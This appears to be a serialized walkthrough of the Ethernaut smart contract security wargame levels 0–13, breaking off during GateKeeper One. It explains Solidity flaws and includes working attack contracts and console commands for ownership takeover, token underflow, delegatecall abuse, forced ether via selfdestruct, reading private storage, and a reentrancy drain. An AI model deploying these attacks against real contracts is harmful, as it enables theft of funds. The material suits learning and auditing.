[Blockchain Security-Ethernaut] Blockchain Smart Contract Security Practice - Serialization

[Blockchain Security-Ethernaut] Blockchain Smart Contract Security Practice - Serialization

Prepare

With the gradual promotion of blockchain technology, blockchain security has gradually become a research hotspot. Among them, the security of smart smart contracts is the most prominent. Ethernaut is a good tool for getting started researching blockchain smart contract security.

  • First, you should make sure to install Metamask , if you can use Google Extension you can install it directly, otherwise you can install it using FireFox
  • Create a new account and connect to RinkeBy Test Network (need to enable Show test networks in Setting - Advanced and switch in the network)
    Create an account and connect to the Rinkeby network
  • Visit Faucet and get test coins, 0.1Eth every day

Start your journey of discovery on Ethernaut now!


0. Hello Ethernaut

This section is relatively simple, so I will pay more attention to the overall process, introduce the instance creation of Ethernaut, etc., and I will sort it out myself, so I will be more detailed.

Preparation

Entering Hello Ethernaut , you will be automatically prompted to connect to the Metamask wallet. After connecting, the schematic diagram is as follows:
Successfully connected to Metamask
Press F12 to open the developer tool, and you can interact with smart contracts on the console interface.

Console page

Create an instance and analyze

Click Get New Instance to create a new contract instance.

It can be seen that we actually 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33create instances by interacting with the contract. In the tutorial parameter, call the 0xdfc86b17method with the address 0x4e73b858fd5d7a5fc1c3455061de52a53f35d966as parameter. In fact, all levels will go to when they create an instance, and the 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33attached address is used to indicate the level, such as the URL address in this example
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966.

Create a contract trading interface
The instance has been successfully generated, and the screenshot of the main contract transaction is as follows:

Main contract transaction screenshot
Enter transaction details, view internal transactions, and find calls between contracts. The first one is to call the level contract by the main contract, and the second one is to create a contract instance by the level contract, where the instance address is 0x87DeA53b8cbF340FAa77C833B92612F49fE3B822.

Instance creation contract internal call
Going back to the page, you can confirm that the generated instance is indeed the 0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
The page contract is successfully created reminder
following. We will interact with the contract to complete this level.

contract interaction

At this point, in the console interface, you can view the user's current account and the created contract instance through playerand respectively. Represents the user wallet account address, and contains contract instance , , and method information.contractplayercontractabiaddress

View contract and user information
Follow the prompts to enter await contract.info()and get the result 'You will find what you need in info1().'.
await contract.info()

Enter await contract.info1()and get the result 'Try info2(), but with "hello" as a parameter.'.
await contract.info1()`

Enter await contract.info2('hello')and get the result 'The property infoNum holds the number of the next info method to call..
await contract.info2('hello')
Input await contract.infoNum(), get the infoNum parameter value 42(the first position in Word). info42This is the function ( ) to be called next .
await contract.infoNum()
Input await contract.info42(), get the result 'theMethodName is the name of the next method., that is, the next step should be called theMethodName.

await contract.info42()
Enter await contract.theMethodName()and get the result 'The method name is method7123949..

await contract.theMethodName()
Enter await contract.method7123949()and get the result 'If you know the password, submit it to authenticate()..
await contract.method7123949()
So pass password()can get the password ethernaut0and submit it to authenticate(string).
Find the password and submit
Note that when the authenticate()function is in progress, Metamask will pop up the transaction confirmation, this is because the function changes the state inside the contract (to check the success of the level), while other previously called functions do not (for the View).
insert image description here
At this point, the level has been completed. You can choose Sumbit Instance to submit, and you must also sign to complete the transaction

Sign and submit
After this, the Console page pops up a success prompt, and the level is complete!

level completed

Summarize

This question is relatively simple, and it is more to be familiar with the operation and principle of ethernaut.


1. Fallback

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E.
This level requires taking ownership of the contract and clearing the balance .
Observe its source code to find the entry point of contract ownership change. Find two, respectively contribute()and receive(), the code is as follows:

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

According to contribute()the logic, when the user sends less than or equals to the call 0.001 etherand the total contribution exceeds owner, the ownership of the contract can be obtained . This process seems simple, but it can be seen from the following constructor() function that when it is created, ownerthe creation amount is 1000 ether, so this method is not very practical.

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

Considering receive()the function again, according to its logic, when the user sends anything etherand has contributed before (the contribute()function has been called), the contract ownership can be obtained. receive()Similarly fallback(), this method is called when the user sends tokens but no function is specified (eg sendTransaction()).
After acquiring ownership, calling the withdrawfunction can clear the contract balance.

contract interaction

Use the contractcommand to view the contract abi and external functions.

Contract abi and functions
Call await contract.contribute({value:1}), send 1 unit of Wei to the contract.

await contract.contribute({value:1})
At this point, call to await contract.getContribution()view user contributions and find that the contribution degree is 1, which meets receiver()the minimum requirements for calling the default function.

await contract.getContribution()
Use the await contract.sendTransaction({value:1})constructed transfer transaction to send to the contract, and the
await contract.sendTransaction({value:1})
call await contract.owner() === player confirms that the contract owner has changed.
await contract.owner()  === player
The final call to await contract.withdraw()withdraw the balance.
await contract.withdraw()
Submit an instance to show that the level is successful!

level success

Summarize

This level is also relatively simple. It mainly needs to analyze the logic inside the code and understand fallback()the receiveprinciple.


2. Fallout

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x891A088f5597FC0f30035C2C64CadC8b07566DC2.
This level requires taking ownership of the contract. First, use the contractcommand to view the abi and function information of the contract.
contract
Check the contract source code for possible breakthrough points. It turns out that Fal1out()the function is the breakthrough. Its code is as follows:

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

For Solidity, its compiler versions before 0.4.22 support constructors with the same contract name, such as:

pragma solidity ^0.4.21;

contract DemoTest{

    function DemoTest() public{

    }
}

However, since 0.4.22, only exploit constructor()builds are supported , such as:

pragma solidity ^0.4.22;

contract DemoTest{
     constructor() public{

    }
}

But in this level, it is clear that the contract creator made a mistake and will be Falloutwritten Fal1out. Fal1outSo we get ownership by calling the function directly .

contract interaction

Use await contract.owner()to get the current contract owner as the 0x0address.
await contract.owner()
Call await contract.Fal1out({value:1})to achieve ownership acquisition.
await contract.Fal1out({value:1})
Call to await contract.owner() === playerconfirm that contract ownership has been acquired.
await contract.owner() === player
Submit an instance, this level is complete!
The level is successful!

Summarize

This level is relatively simple, and mainly examines the understanding and grasp of contract details and constructors.


3. Coin Flip

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54.
This level requires 10 consecutive guesses of the heads and tails of the coin .

Let's first observe the code, which is shown in the following figure:

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

It can be seen that the front and back of the coin are determined by the height of the block before the current block. If we don't know what the current block height is, it is difficult to predict the front and back of the coin in advance. At the same time, the contract guarantees that the same block can only be submitted once through lastHash.
Here we will introduce the concept of calls between contracts, as we Hello Ethernautanalyzed in the level, a contract can also call a contract, the specific operation is as Internal Txns, but still in the same block as the initial call . So we can create our own smart contract, predict the front and back of the coin in advance, and make a request to the level contract.

Instance creation contract internal call

The following is the content of calls between contracts, there are mainly several types:

  • Use the callee contract instance (the callee contract code is known)
  • Use the called contract interface instance (only the called contract interface is known)
  • Call the contract using the call command

We will write our own smart contract, starting from the above three ideas, to realize the call between contracts.

Attack contract writing

Use the Remix online editor to write the contract, the code is as follows, which CoinFlipAttackis our attack contract, CoinFlipand CoinFlipInterfaceboth are defined to provide the abi interface for the target contract:

pragma solidity ^0.6.0;

// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}

// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker{
    
    using SafeMath for uint256;
    address private addr;
    CoinFlip cf_ins;
    CoinFlipInterface cf_interface;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _addr) public {
        addr = _addr;
        cf_ins = CoinFlip(_addr);
        cf_interface = CoinFlipInterface(_addr);
    }

// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
    function getFlip() private returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return side;
    }

// 使用被调用合约实例(已知被调用合约代码)
    function attackByIns() public {
        bool side = getFlip();
        cf_ins.flip(side);
    }

// 使用被调用合约接口实例(仅知道被调用合约接口)
    function attackByInterface() public {
        bool side = getFlip();
        cf_interface.flip(side);
    }

// 使用call命令调用合约
    function attackByCall() public {
        bool side = getFlip();
        addr.call(abi.encodeWithSignature("flip(bool)",side));
    }

}

contract interaction

0.6.12+commit.27d51765.jsAt this point, the compiler we choose is compiled, as shown in the following figure:
contract compilation
On the deployment page, select Injected Web3, connect Metamask钱包, and call the constructor of the attack contract, where the construction parameters are passed into the target contract 0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54.

deploy contract
The little fox signs, the contract deployment is completed, the address of the attack contract is 0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF, and the following call interface is displayed. Next, we will launch the attack in the following three ways:
Attack contract calling interface

  • Using the called contract instance (attackByIns)
    before calling, we have 3 consecutive guesses, as shown in the following figure:
    Current guesses
    Click attackByIns, the Metamask confirmation pop-up window pops up, confirm, the current block has been successfully mined.

attackByIns
At this time, the number of consecutive guesses becomes 4, and the method is successfully verified!
Current guesses

  • Use the called contract interface instance (attackByInterface)

At this point, the number of consecutive guesses is 4. Click on it attackByInterface, and the Metamask confirmation pop-up window will pop up. Confirm that the current block has been successfully mined.

attackByInterfaceAt this time, the number of consecutive guesses becomes 5, and the method is successfully verified!Current guesses

  • Use the call command to call the contract (attackByCall).
    At this time, the number of consecutive guesses is 5. Click on it attackByCall, and the Metamask confirmation pop-up window will pop up. Confirm that the current block has been successfully mined.
    attackByCall
    At this time, the number of consecutive guesses becomes 6, and the method is successfully verified!
    Current guesses

No matter which method is used, the contract call in the same block can be realized, but you must pay attention gas limitto the settings. If it is not enough, there will be an explosion out of gasor revertedan error, you can set it on the little fox confirmation interface.

We can then do 4 more times with arbitrary calls until we reach 10, and finally commit!
Submit an instance, this level is complete!
The level is successful!

Summarize

This level mainly examines soliditythe writing and calling between contracts. I encountered a lot of gasrelated problems when I was doing it. I didn't pay much attention to it before, but now I need to pay more attention!


4. Telephone

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xba9405B2d9D1B92032740a67B91690a70B769221.
Analyze its contract source code and request to change the contract ownership. The breakthrough lies in the changeOwnerfunction. The function code is as follows:

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }

The prerequisite is that it tx.originis msg.sendernot the same, so we should study this.

  • tx.originwalks the entire call stack and returns the address of the account that originally sent the call (or transaction).
  • msg.senderis the address of the account or smart contract that directly invokes the smart contract function

The difference between the two is that if there are multiple calls within the same transaction , it will tx.originremain unchanged, but msg.senderwill change. Based on this, we will write a smart contract that acts as a man-in-the-middle attack.

Attack contract writing

The contract is also written in remix. The contract code is as follows. Similar to the previous level, the interfacecontract interface instance is created through the interface, and we pass attack函数执行攻击:

pragma solidity ^0.6.0;

interface TelephoneInterface {
    function changeOwner(address _owner) external;
}



contract TelephoneAttacker {

    TelephoneInterface tele;

    constructor(address _addr) public {
        tele = TelephoneInterface(_addr);
    }

    function attack(address _owner) public {
        tele.changeOwner(_owner);
    }

}

contract interaction

Initially, contract ownership has not yet been obtained.

Contract ownership has not been acquired
We deploy the contract on remix with parameters attached 0xba9405B2d9D1B92032740a67B91690a70B769221to initialize the attacked contract interface instance tele. The address of the generated attack contract is 0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811.

Deploy the attack contract

Call the function on remix attack, the parameter is 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1bthe wallet address.
attack
At this point, check the ownership again and find that the change has occurred.
Ownership has changed
Submit an instance, this level has been successfully passed.
Success

Summarize

tx.originThere are many contracts in use for this, but if used incorrectly, it can cause serious consequences.
For example, I set up a contract to cause the attacked contract to actively initiate a call, and launch the attack in the accepting function to bypass the tx.originrelevant security settings.


5. Token

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3.
Judging from the contract creation process, the instance creation contract 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33calls the level contract 0x63bE8347A617476CA461649897238A31835a32CEto create the target contract and playertransfers 20 token.

Token Allocation Information

To analyze its contract source code and request to increase the number of existing tokens, we should transferstart with the function. The function code is as follows:

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

A mistake in the code here is that there is uintno overflow check for the operation, for example, for an 8-bit unsigned integer, there will be 0-1=255an 255+1=0error. We can use this loophole to achieve unlimited additional issuance of tokens.

contract interaction

Call await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)the function, note that you can't transfer money to yourself here, because there will be an underflow first, and then an overflow. We directly transfer to 21 level contracts token. At this time 20-21, an underflow occurs and reaches the maximum value. At this point, it can be seen that the token balance has grown.

The number of tokens grows
Submit an example and pass this level!
Success!

Summarize

That's why we need to Safemath. Be sure to pay attention to overflow and underflow when writing contracts!

6. Delegation

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d. This level requires **take ownership of the
contract **.Delegation

Analysis of the contract, the source code section provides two parts of the contract, one is Delegateand the other is Delegation. DelegationThe fallbackfunction passed between the two contracts is delegatecallcalled based on method expansion.

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }

For the Delegationcontract, the code to change the ownership cannot be found in it, so we can change the way of thinking and see if Delegatethere is any in the contract. Analyzing the contract can see that pwn()it can be realized.

  function pwn() public {
    owner = msg.sender;
  }

At this time, some people may be confused, Delegateand Delegationare two different contracts. If we only modify Delegatethe one in ownerit, will it have an impact on calling it across contracts Delegation?

In Solidity, the call function cluster can implement cross-contract function calling, including call, delegatecall and callcode, and we will analyze the differences between the following three cross-contract calling methods (taking user A calling contract C through contract B as an example):

  • call: The most common calling method. After the call, the value of the built-in variable msg will be changed to the caller B, and the execution environment is the callee's runtime environment C.
  • delegatecall: After the call, the value A of the built-in variable msg will not be modified to the caller, but the execution environment is the caller's runtime environment B
  • callcode: After the call, the value of the built-in variable msg will be modified to the caller B, but the execution environment is the caller's runtime environment B

So at that delegatecalltime, although we were calling Delegatethe function in the contract, in fact, we were Delegationdoing it in the environment, which can be understood as "introducing" the code. Therefore, we can realize the transfer of contract rights.

contract interaction

When initializing, having contract ownership is not an option player.
didn't take ownership
Use contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})to initiate a call, the result fails, and a closer look is because there is fallbackno payabledecoration. This is a misunderstanding at the beginning, and the observation is not careful enough.

call failed
remove value, call again await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)}). At this point the contract ownership has been transferred. Explain, here datais to call the pwnfunction, use the sha3encoding and take the first 4 bytes, here is simplified because there is no input parameter.
take ownership
Submit a contract instance, this level is successful!

Success!

Summarize

Calls between contracts need to be very careful, delegateoriginally for programming flexibility, but if not handled properly, it will bring great problems to security!


7. Force

I'm sorry, I've been a little busy at work recently, because my work involves foreign cyber security trade, so I've been busy with training recently. But this piece will certainly continue to be completed.

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xa39A09c4ebcf4069306147035dd7cE7735A25532.
This level requires Forcetransferring tokens to the contract, but the contract does not seem to have a payable function. So what should we do?

In practice, there are several common ways to transfer money to a smart contract.

  • Transfer: Throws exception when an error occurs, and the code will not execute afterward
  • Send: The transfer error does not throw an exception and returns true/false. The code will continue to execute.
  • call.value().gas: Transfer error does not throw an exception and returns true/false. The code will execute, but call functions for transfer are prone to reentrancy attacks.

There is a premise of the three methods, that is, the accepting contract must be able to accept the transfer, that is, there is a payable function, otherwise it will be rolled back.

So is there any other way?

However, there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation, the remaining ether on the contract account will be sent to a specified target, and its storage and code are erased

That is to say, we can send the remaining ether of the contract to the specified address through the self-destruction function of the contract. At this time, we do not need to judge whether the address can accept the transfer or not. So we can build smart contracts, complete self-destruction, and then attack.

contract interaction

The contract itself does not provide balance query, so we go to the chain to query. The contract balance is now 0.

The target contract balance is 0
We build the contract through remix, which writes a self-destructing function.

pragma solidity ^0.6.0;

contract ForceAttacker {

    constructor() public payable{

    }

    function destruct(address payable addr) public {
        selfdestruct(addr);
    }

}

Create a new contract, deploy it to the Rinkeby testnet, contract address0x7718f44c496885708ECb8CC84Af4F3d51338cb3C

deploy contract

destructCall the function with the attacked contract as a variable .

launch a self-destruct attack

At this point, it can be seen that the address balance on the attacked contract chain has changed from 0 to 50.

Successful self-destruct attack
Submit an example, this level is successfully passed!
level success

Summarize

selfdestructPayable check will not be triggered. If there is no good check, it may have an unpredictable impact on the operation of the contract itself. To prevent this.balancemanipulation by hackers, we should use balancevariables to accept balances for specific business logic.


8. Vault

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x81E840E30457eBF63B41bE233ed81Db4BcCF575E.

Analysis of the contract, the requirement of this level is to unlock, and the only way to unlock is to input correctly password. The definition of this level pair passwordis a private variable, why can't it be seen from time to time?

The answer is no, all variables are stored on-chain and we can see it naturally. Now the question is, where to look and what to look for?

What is the first answer?

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback]), use this command to see the storage content stored at a certain address.
Its parameters represent the following meanings:

String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.

Generally speaking, we use web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);, the latter two parameters are generally optional.

What is the second answer?

The Ethereum data storage will designate a computable storage location for each data of the contract, and store it in a super array with a capacity of 2^256. Each element in the array is called a slot, and its initial value is 0 . Although the upper limit of the array capacity is high, the actual storage is sparse, and only non-zero (null) data is actually written to the storage. The slot location for each datastore is fixed.

# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------

Each slot is 32 bytes. For value types, its storage is continuous, and the following rules are met.

  • The first item of the storage slot is stored little-aligned (ie, right-aligned)
  • Primitive types use only the bytes needed to store them
  • If there is not enough space left in the storage slot to store a base type, it is moved into the next storage slot
  • Struct and array data will always occupy a whole new slot (but items in a struct or array will be packed with these rules)

For example the following contract

pragma solidity ^0.4.0;

contract C {
    address a;      // 0
    uint8 b;        // 0
    uint256 c;      // 1
    bytes24 d;      // 2
}

Its storage layout is as follows:

-----------------------------------------------------
| unused (11) | b (1) |            a (20)           | <- slot 0
-----------------------------------------------------
|                       c (32)                      | <- slot 1
-----------------------------------------------------
| unused (8) |                d (24)                | <- slot 2
-----------------------------------------------------

Back to this question, it is obvious that the storage placement should be

-----------------------------------------------------
| unused (31) |           locked(1)          | <- slot 0
-----------------------------------------------------
|                       password (32)                      | <- slot 1
-----------------------------------------------------

So we can slot1get the password information by.

contract interaction

Enter await web3.eth.getStorageAt(contract.address,1)get byte32 password.
await web3.eth.getStorageAt(contract.address,1)
At this point, the contract is still locked (passable await contract.locked()) for query.

The contract is still locked
Call await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')to unlock the contract.
Unlock the contract
At this point, the contract has been unlocked.
insert image description here
Submit an instance, this level is successfully passed.
level success

Summarize

There are no secrets on the blockchain.


9 King

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2. Analysis of its contract, its contract function lies in the following code segment:

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

When an incoming transfer is received, if the sent amount is greater than the current bonus, the sent amount will be sent to the current king, the bonus will be updated, and the sender will become the new king.
The purpose of this level is to break this cycle.

The starting point for breaking this cycle is that the function interaction is actually a continuous process.

  1. The user sends a specified amount of ether.
  2. The contract forwards the ether to the current king
  3. Updated kings and bonuses.

As long as we, as kings, refuse to accept the bonus transferred from the contract, the whole process can be rolled back.

Attack contract writing

We also write the attack contract in remix. as follows:


contract KingAttacker {

    constructor() public payable{

    }

    function attack(address payable addr) public payable{
        addr.call.value(msg.value)("");
    }
    
    fallback() external payable{
        revert();
    }

} 

In the accept function, we take the initiative to roll back to prevent the contract from continuing to execute.

contract interaction

First, let's see how much we need to pass in at the moment. On the target contract details page, you can see that 0.001Ether was passed in when creating the contract.

Contract Details
So after we create the attack contract ( 0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208), pass in 2Finney and call the attack contract attackmethod.

attack
At this point we look at the king, using await contract._king()it, we can see that the king has become an attack contract.
await contract._king()
Submit the contract, the level is successful!

level success
revertLooking at the data on the chain, we can see that a rollback ( ) occurred during the execution .
revert

Summarize

Attacks can start from multiple perspectives of contract execution.


10 Re-entrancy

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e. Analysis of its contract, its contract extraction function is as follows:

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

What is the problem with this contract? That is, he made a mistake in the order of bookkeeping and transfer (transfer first, then book). Generally speaking, when we go to the bank to withdraw money, the bank will first make a note on its own account book, and then the money will be withdrawn to us. Although it is impossible for us to withdraw money in two places at the same time, is it possible in the blockchain?

The answer is yes. If we initiate a new money withdrawal operation while accepting the contract transfer, then obviously, if it is a continuous calling process, the contract will still transfer money to the user without modifying the ledger?

So, what can be done to ensure continuous invocation? That is to use the contract to interact with the attacked contract.

Attack contract writing

We also write the attack contract in remix. as follows:

pragma solidity ^0.6.0;


interface Reentrance{
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
    function balanceOf(address _who) external view returns (uint balanceOf);
}

contract Attacker {
    Reentrance ReentranceImpl;
    uint256 requiredValue;

    constructor(address addr) public payable{
    ReentranceImpl = Reentrance(addr);
    requiredValue = msg.value;
    }

    function getBalance(address addr) public view returns (uint){
        return addr.balance;
    }

    function donate() public {
        ReentranceImpl.donate{value:requiredValue}(address(this));
    }

    function withdraw(uint _amount) public {
        ReentranceImpl.withdraw(_amount);
    }

    function destruct() public {
        selfdestruct(msg.sender);
    }

    fallback() external payable {
        uint256 ReentranceImplValue = address(ReentranceImpl).balance;
        if (ReentranceImplValue >= requiredValue) {
            withdraw(requiredValue);
        }else if(ReentranceImplValue > 0) {
            withdraw(ReentranceImplValue);
        }
    } 
}


We use to ReentranceImplmark the target contract, using requiredValueto denote the money the contract has deposited in the target contract. At the same time, we define a fallbackfunction that will be called whenever funds are received withdrawto withdraw the balance from the target contract. Let's do the contract interaction.

contract interaction

First check how much ether the contract itself has, check it on the browser, and find that there is a total of 0.001 ether.
The contract itself has 0.001 ether
So we pass in 500000000000000 Wei when deploying the contract, which can be called repeatedly three times to confirm the attack effect of the contract. At the same time, we pass in the target contract address 0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e. After deployment, the attack contract address is 0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287.

First, we query the balance of the contract itself, which is 500000000000000 Wei, and then we query the balance of the target contract, which is 10000000000000000 Wei.
The balance of the contract itself
target contract balance
We use donatethe function to deposit the balance to the target contract.
deposit balance
At this point, the balance of the target contract also becomes 0.0015Ether.
Our next attack is to withdrawextract 500000000000000 Wei using the function. When initiating a transaction, the gas should be modified on the Fox interface. Waiting for the transaction to complete, there are three transfers in the contract.
attack done
The balance of the target contract has been reset to zero, and the attack is complete!
The target contract is reset to zero
Submit an example, this level is complete!
level completed

Finally, don't forget to recover the balance through the contract self-destruct~

state change

Summarize

The design of the contract should be fully cautious, any negligence will have a great impact


11 Elevator

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE. Analysis of its contract, the core code of the contract is as follows:

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }

Due to the first judgment , the structure is isLastFloorentered after it is not satisfied , and it is obtained again . The contract then takes it for granted that the result obtained the second time is still unsatisfactory, is that so?ifisLastFloor

Due to the impact of external calls, the contract cannot control the behavior of the external contract when it is called externally. So we can write smart contracts to launch related attacks.

Attack contract writing

We also write the attack contract in remix. as follows:

pragma solidity ^0.6.0;

interface   Elevator{
    function goTo(uint _floor) external;
}

contract Building {

    Elevator elevatorImpl;
    bool isTop;


    constructor(address addr) public {
        elevatorImpl = Elevator(addr);
        isTop = false;
    }

    function flip() public {
        isTop = !isTop;
    }

    function isLastFloor(uint) public returns (bool){
        bool res = isTop;
        flip();
        return res;
    }
    
    function attack() public {
        elevatorImpl.goTo(1);
    }
}

The core point is that each time the function is called, the isLastFloorfunction will be called internally to flipcomplete the inversion of the variable isTop, so the results obtained twice in a row are different.

contract interaction

Enter await contract.top()to see if it is the top level, the result is false.
await contract.top()
Deploy the contract, pass in the target contract 0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE, and build the contract at the address 0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a.

Call attack()the function to launch an attack on the target contract.
attack()
At this point, check again, enter to await contract.top()see if it is the top level, and the result is true.
await contract.top()
Submit an example, this level is successful!
The level is successful!

Summarize

Contracts are unbelievable, and even well-written contracts are useless if they cannot control the behavior of others.


12 Privacy

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf. Analysis of its contract, the core code of the contract is as follows:

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

At this point, the input should be entered data[2], and how should this be obtained? Obviously, we still have to start with the storage mechanism.

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

This is the variable definition. Correspondingly, we have the slot storage distribution as follows:

-----------------------------------------------------
| unused (31)    |          locked(1)               | <- slot 0
-----------------------------------------------------
|                       ID(32)                      | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) |  denomination (1) | flattening(1)  | <- slot 2
-----------------------------------------------------
| data[0](32)  | <- slot 3
-----------------------------------------------------
| data[1](32)  | <- slot 4
-----------------------------------------------------
| data[2](32)  | <- slot 5
-----------------------------------------------------

So, it is data[2]stored in slot 5.

contract interaction

Enter await web3.eth.getStorageAt(contract.address,5)to get data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.
await web3.eth.getStorageAt(contract.address,5)
At this point there is a conversion between bytes16 and bytes32. It should be noted that Ethereum has two storage methods, big endian (strings & bytes, starting from left) and little endian (other types, starting from big). Therefore, when converting from 32 to 16, the right 16 bytes need to be chopped off.

How can we do this? ie '0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34).

split manually
After that, submit the result directly and prepare to unlock. contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d').
contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d
At this point, the contract has been unlocked.
await contract.locked()
Submit an example, this level is successful!

The level is successful!

Summarize

Again, there are no secrets on the blockchain.


13 GateKeeper One

Hi everyone, I'm back again. I've been really busy lately, so I'll hurry up to finish this series in August, and then share the next content.

Create an instance and analyze

According to the previous steps, create a contract instance with the contract address of 0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284. The purpose of this level is to satisfy gateOne, gateTwoand gateThree, to successfully implement entrantmodifications.

So what do we need to do? First, take a look at modifierwhat each of the requirements are. See if you can meet and modify?

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

Analysis gateOne, we can see the need msg.sender != tx.origin, which shows that we need a contract as a transit.

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

Analysis gateTwo, which shows that when this step is executed, the remaining gas must be a multiple of 8191, which requires us to set the gas.

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

